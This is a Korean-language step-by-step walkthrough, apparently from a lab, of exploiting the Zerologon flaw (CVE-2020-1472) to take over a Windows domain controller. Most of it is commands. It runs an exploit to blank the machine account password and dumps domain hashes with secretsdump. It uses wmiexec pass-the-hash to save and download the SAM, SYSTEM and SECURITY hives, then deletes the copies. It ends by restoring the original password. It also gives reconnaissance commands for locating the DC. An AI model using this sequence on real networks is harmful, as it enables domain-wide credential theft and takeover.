
CVE-2020-1472(Zerologon) 취약점을 악용하여 도메인 컨트롤러 시스템 계정 비밀번호를 초기화함으로써 자격 증명 덤핑 및 도메인 관리자 권한 상승을 가능하게 합니다.
@toc
원리는 다소 복잡하므로, 관심이 있다면 아래 링크의 글을 참고하세요. https://www.freebuf.com/articles/system/249860.html
https://github.com/SecureAuthCorp/impacket/edit/master/impacket/dcerpc/v5/nrpc.py 파일을 이용해 로컬의 nrpc 파일을 교체해야 합니다. 로컬 nrpc 파일의 저장 경로는 다음과 같습니다: C:\Users\Administrator\AppData\Local\Programs\Python\Python38\Lib\site-packages\impacket\dcerpc\v5\nrpc.py
python cve-2020-1472-exploit.py 머신계정명 ip
또한 머신 계정의 비밀번호가 이미 비워진 것을 확인할 수 있습니다. 31dc...는 빈 비밀번호를 의미합니다.

상대방 머신 계정 또는 netbios 이름을 얻는 방법:
- net view
이 서버 이름에 $를 붙이면 머신 이름이 됩니다. 예: lisi$ 또는 yukong$.
- nbtstat -A ip
도메인 컨트롤러 IP를 확인하는 방법은 여러 가지가 있습니다. 예를 들어:
- 53번 포트가 열린 호스트 확인
- net time 명령어로 도메인 컨트롤러의 호스트명을 확인한 후 ping
- systeminfo 명령어로 도메인 부분 값을 확인하고 ping하면 도메인 컨트롤러 IP
- 자신의 호스트 DNS 확인
python secretsdump.py test.com/[email protected] -no-pass
빈 비밀번호의 머신 계정을 사용해 도메인 컨트롤러의 사용자 해시를 읽을 수 있음을 확인했습니다.
python wmiexec.py -hashes :3dbde697d71690a769204beb12283678 test/[email protected] reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save
get system.save get sam.save get security.save
del /f system.save del /f sam.save del /f security.save
exit
실행이 완료되면 wmiexec 스크립트가 있는 폴더에서 다운로드된 파일을 확인할 수 있습니다:

python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 test.com/[email protected] -use-vss 이 명령어는 실행에 실패했습니다.
python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
빨간색 원 안에 있는 비밀번호를 저장하세요. 이것이 과거의 머신 비밀번호입니다. 즉, aad3b435b51404eeaad3b435b51404ee:999699ceadecae87fef9a2040ef2213a입니다.
python reinstall_original_pw.py yukong$ 192.168.124.142 999699ceadecae87fef9a2040ef2213a

python secretsdump.py test.com/administrator:[email protected] -just-dc-user yukong$
python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678 test/[email protected] -just-dc-user yukong$
복구 성공을 확인했습니다.